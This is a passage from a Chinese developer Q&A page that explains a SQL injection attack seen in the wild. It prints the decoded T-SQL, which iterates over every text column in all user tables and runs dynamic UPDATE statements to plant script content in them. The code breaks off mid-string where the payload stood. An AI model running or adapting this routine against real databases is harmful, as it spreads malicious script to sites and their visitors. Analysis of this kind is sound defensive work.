当前位置:  开发笔记 > 编程语言 > 正文

SQL注入攻击 - 这里发生了什么?

如何解决《SQL注入攻击-这里发生了什么?》经验,为你挑选了2个好方法。

注意:我的第一个解释是不正确的,因为我实际上没有读完整个事情......

这是翻译的内容.它在您的数据库中搜索text或varchar列(b.xtype in 99,35,231,167),然后将javascript文件注入数据库的所有文本列.比我初想的更恶意一点.

DECLARE 
    @T varchar(255),
    @C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR 
    select a.name,b.name 
    from sysobjects a,syscolumns b 
    where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT 
FROM  Table_Cursor 
INTO @T,@C 

WHILE(@@FETCH_STATUS=0) 
BEGIN exec('update ['+@T+'] set ['+@C+']=''">
    
    
      
            

            
linjiabin43
这个屌丝很懒,什么也没留下!
Tags | 热门标签
RankList | 热门文章
DevBox开发工具箱 | 专业的在线开发工具网站    京公网安备 11010802040832号  |  京ICP备19059560号-6
Copyright © 1998 - 2020 DevBox.CN. All Rights Reserved devBox.cn 开发工具箱 版权所有